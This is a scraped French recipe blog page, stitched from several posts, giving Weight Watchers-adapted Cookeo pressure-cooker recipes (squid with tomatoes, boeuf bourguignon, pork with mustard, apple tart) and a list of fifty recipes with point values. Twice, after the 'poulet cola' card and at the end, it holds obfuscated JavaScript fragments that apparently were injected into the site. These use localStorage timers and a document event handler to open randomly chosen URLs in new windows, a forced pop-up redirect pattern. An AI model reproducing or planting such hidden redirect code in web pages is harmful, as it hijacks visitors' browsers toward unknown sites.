Calamars tomates weight watchers cookeo : qui veut réaliser cette recette?

Calamars tomates weight watchers cookeo

Calamars tomates weight watchers cookeo

Qui veut réaliser cette recette  issue du livre « super facile weight watchers » ? Le principe est simple j’ai transformé la recette originale pour l’adapter au cookeo mais je ne l’ai pas réalisée. Le principe du jeu est simple ,vous réaliser la recette et vous me proposez la photo . Les meilleures photos seront publiées dans cet article avec votre nom si vous le souhaitez.

Pour les photos vous pouvez les diffuser dans le groupe ou la page facebook sous la publication de l ‘article.

Si toutefois dans la recette proposée vous trouvez quelque chose qui ne va pas , contactez moi .

Ingrédients pour 4 personnes

480 g de calamars surgelés

1 échalote

250 g de tomates cerises

2 cuillères à café d’huile d’olive

 200 g de pulpe de tomates en dés

1 brin de basilic

100 ml  d’eau

Sel

Poivre

Préparation

Hachez l’echalote.

Lavez les tomates cerises

Mode dorer

Versez l’huile d’olive dans la cuve

 Faites revenir les morceaux échalotes hachés pendant une minute .

Ajoutez les tomates cerises et les anneaux de calamars et faites revenir pendant 2 minutes

Verser la pulpe de dés de tomates et versez 100 ml d’eau

Salez et poivrez selon votre convenance

Cuisson rapide sous pression

Programmer 5 mn

Servez chaud

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Salade 4 graines weight watchers cookeo

SALADE 4 graines weight watchers cookeoSalade 4 graines weight watchers cookeo

Ingrédients pour 6 personnes

90 g de riz

90 g de lentilles vertes

90 g de blé

150 g de petits pois

1 tomate

1 cuillère à soupe de jus de citron

6 cuillères à café d’huile d’olive

1 échalote

2 cuillères à café de vinaigre balsamique

1 cuillère à café de moutarde

Ciboulette

Sel

Poivre

Préparation

Versez les lentilles dans la cuve et versez 200 ml d’eau.

Cuisson rapide ou sous pression

Faites cuire 12 mn les lentilles toutes seules

Quand la cuisson est terminée mettez de côté les lentilles et laissez les refroidir dans un saladier.

Rincez votre cuve et déposez le riz, le blé et les petits pois et recouvrez de 300 m d’eau.

Cuisson rapide ou cuisson sous pression

Programmez 6 mn de cuisson.

Quand la cuisson est terminée ajoutez le riz, les petits pois et le blé avec les lentilles laissez refroidir à l’air libre puis au frigo 

Préparez la sauce :

  • Mélangez le vinaigre et la moutarde.
  • Salez et poivrez
  • Versez l’huile et le jus de citron.
  • Ajoutez la ciboulette et mélangez.

Coupez la tomate en morceaux et ajoutez-la dans le saladier
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Filet mignon moutarde cookeo weight watchers

Filet mignon moutarde cookeo weight watchers

Filet  mignon moutarde cookeo weight watchers

210 CALORIES  5 PP 6 SP

Ingrédients pour 4 personnes

400 g de filet mignon

200 g de champignons de Paris

2 cuillères à soupe de moutarde

2 cuillères à soupe de crème fraîche allégée

2 cuillères à café d’huile d’olive

Sel

Poivre

1 cube de bouillon de bœuf

100 ml de vin blanc

100 ml d’eau

100 g d’oignons congelés

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les oignons et dorer le filet mignon sur toutes ses faces.

Ajoutez les champignons puis versez l’eau et le cube de bouillon de bœuf . Versez le vin blanc .

Salez et poivrez.

Ajoutez les champignons de Paris

Cuisson rapide ou sous pression

Programmez 20 mn

Quand la cuisson est terminée ajoutez la crème fraîche et la moutarde servez chaud .
[youtube https://www.youtube.com/watch?v=GU23RoWqldw]
https://dailymotion.com/video/x5lm2xp?autoPlay=1

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Boeuf Bourguignon cookeo weight watchers

Boeuf Bourguignon cookeo weight watchers

Boeuf Bourguignon cookeo weight watchers

460 CALORIES 10 PP 12 SP

Ingrédients pour 4 personnes :

700 g de bœuf coupé en morceaux

600 g de carottes

250 ml  de vin rouge
150 ml d’eau

1 cuillère à soupe d’huile d’olive
1 oignon

10 petits oignons au vinaigre

400 g de champignons de Paris
1 bouquet garni

1 cuillère à café d’ail déshydraté

2 cuillères à café de maizena
Sel et poivre

 

Préparation

Mode dorer

 

Versez l’huile dans la cuve puis faites dorer les oignons et la viande.

Ajoutez les carottes ,les champignons ,le bouquet garni .

Versez Le vin rouge et l’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou Cuisson sous pression : 35 min
Quand la cuisson est terminée  repassez en mode dorer . Ajoutez  la maizena et mélangez jusqu’à ce que la sauce épaississe.

Servez chaud
[youtube https://www.youtube.com/watch?v=x_iGYr2yJ_w]

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Vidéo cookeo poulet cola weight watchers

Vidéo cookeo poulet cola weight watchers

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Vidéo cookeo poulet cola weight watchers

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[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

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5O fiches recettes cookeo weight watchers avec liens

5O fiches recettes cookeo weight watchers avec liens

5O  fiches recettes cookeo weight watchers avec liens

Aiguillettes de poulet aux légumes4 PP 5SP

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Blanquette de dinde weight watchers 2 PP 5 SP

Boeuf mijoté weight watchers 9 PP 13 SP

Boeuf forestier weight watchers 7 PP 12 SP

 Carbonnade weight watchers 5 PP 15 SP

Champignons à la grecque weight watchers 5 PP 6 SP

Chili con carne express weight watchers 7 PP 7 SP

 choux de Bruxelles aux lardons weight watchers 3 PP 3 SP

Civet de lotte weight watchers 7 PP 5 SP

 Coquillettes au Boursin weight watchers  5 PP 5 SP

:Coquillettes sauce poireaux weight watchers 3 PP 9 SP

Coquillettes Carbonara weight watchers cookeo 9 PP 10 SP

Côtes de porc cidre cookeo weight watchers7 PP 12 SP

Courgettes farcies cookeo weight watchers 4 PP 5 SP

 

Courgettes bolognaise comme une weight watchers 4 PP 5 SP

Courgettes au Boursin weight watchers 5 PP 5 SP

Couscous weight watchers 14 PP 16 SP

Crevettes surimi weight watchers 3 PP 4 SP

Emincés de poulet à la tomate wwatchers 5 PP 5 SP

Fausse marmite espagnole weight watchers 9 PP 6 SP

Filet mignon exotique weight watchers 8 PP 8 SP

Filet mignon au Boursin weight watchers 4 PP 6 SP

Goulash cookeo weight watchers 8 PP 11 SP

Lapin moutarde weight watchers 5 PP 10 SP

Lentilles chorizo weight watchers 11 PP 12 SP

Magret aux poires weight watchers 4 PP 9 SP

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Paëlla weight watchers 10 PP 10 SP

Pilons de poulet au riz weight watchers 6 PP 5 SP

Poireaux pommes de terre weight watchers 2 PP 5 SP

Poireaux pommes de terre weight watchers à la crème 4 PP 5 SP

Poulet basquaise weight watchers 4 PP 4 SP

Poulet cola weight 4 PP 5 SP

Porc aigre doux weight watchers 3 PP 6 SP

Porc moutarde weight watchers 6 PP 8 SP

Poulet Boursin cookeo weight watchers 8 PP 8 SP

Poulet au citron weight watchers 5 PP 7 SP

Risotto jambon weight watchers 9 PP 9 SP

Risotto champignons weight watchers au cookeo 5 PP 7 PP

Rôti de porc pommes et cidre weight watchers 4 PP 9 SP

Rôti de porc au cidre weight watchers 4 PP 10 SP

Spaghettis aux asperges weight watchers 9 PP 10 SP

Spaghettis thon weight watchers 7 PP 6 SP

Steaks de porc au vin blanc weight watchers 3 PP 7 SP

Tomates farcies weight watchers 6 PP 4 SP

Tomates farcies champignons style weight watchers 4PP 6 SP

Trio de poivrons weight watchers 2PP 2SP

Veau marengo cookeo weight watchers  4 PP 5 SP

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Fiche cookeo porc au cidre weight watchers

Fiche cookeo porc au cidre weight watchers

 

Fiche cookeo porc au cidre weight watchers. Toujours bon et léger 7 PP 12 SP

cotes-e-porc-cidre-fiche-ww
[youtube https://www.youtube.com/watch?v=hDFxuQtLjrE]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Fiche cookeo carbonnade weight watchers

Fiche cookeo carbonnade weight watchers 5 PP 15 SP

Fiche cookeo carbonnade weight watchers  5 PP 15 SP

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50 recettes weight watchers cookeo chiffrage SP ET PP

50 recettes weight watchers cookeo chiffrage SP ET PP

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Fiche cookeo poulet cola weight watchers

Fiche cookeo poulet cola weight watchers

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
Fiche cookeo poulet cola weight watchers

4 PP   5 SP 319 calories

poulet-cola-fich-e

//
[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Vidéo cookeo porc au cidre weight watchers

Vidéo cookeo porc au cidre weight watchers

 

Vidéo cookeo porc au cidre weight watchers.Laissez vous tenter
[youtube https://www.youtube.com/watch?v=hDFxuQtLjrE]
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50 recettes cookeo weight watchers le PDF gratuit

 

50 recettes cookeo weight watchersBonjour tout le monde le PDF des 40 recettes cookeo weight watchers s’enrichit de 10 nouvelles recettes  pour devenir donc 50 recettes cookeo weight watchers .

Je vous laisse les découvrir en CLIQUANT ICI OU SUR L’IMAGE 

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Tarte aux pommes weight watchers

Tarte aux pommes weight watchers Tarte aux pommes weight watchers 9 PP 10 SP

Ingrédients

4 pommes

20 g de sucre en poudre

10 g de beurre

1 cuillère à café de sucre glace

Pâte feuilletée

 

Préparation

Faites préchauffer votre four à 210 °

Etalez votre pâte feuilletée  sur une plaque de cuisson avec du papier de cuisson . Piquez la pâte à l’aide d’une fourchette .

Saupoudrez la pâte avec une cuillère à café de sucre (environ 10 g)

Epluchez les pommes , enlevez les pépins et coupez la pomme en fins quartiers .

Disposez les quartiers de pommes sur la pâte feuilletée.

Faites fondre votre beurre au micro-ondes ou dans une casserole. Puis à l’aide d’un pinceau badigeonnez les quartiers de pommes .

Saupoudrez avec le reste de sucre .

Enfournez 20 mn à 210°. Servez tiède .

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Porc moutarde weight watchers recette cookeo

Porc moutarde weight watchers cookeo

Porc moutarde weight watchers 6 PP

Ingrédients pour 4 personnes

4 tranches de rôti de porc

4 oignons

1 cuillère à café d’huile d’olive

4 cuillères à soupe de crème fraîche

1 cuillère à soupe de moutarde

1 cuillère à soupe de câpres

200 ml d’eau

Sel

Poivre

Préparation

Mode dorer

Découpez votre rôti en tranches.

Versez l’huile d’olive dans la cuve puis faites revenir  les tranches de rôti puis les oignons .

Ajoutez les câpres, versez l’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez  5 mn

Quand la cuisson est terminée réservez les tranches de rôti puis ajoutez la crème fraîche et la moutarde. Puis replongez les tranches . Servez chaud .

porc-moutard-ww-fiche

[youtube https://www.youtube.com/watch?v=dJQdlKMWn38]

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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());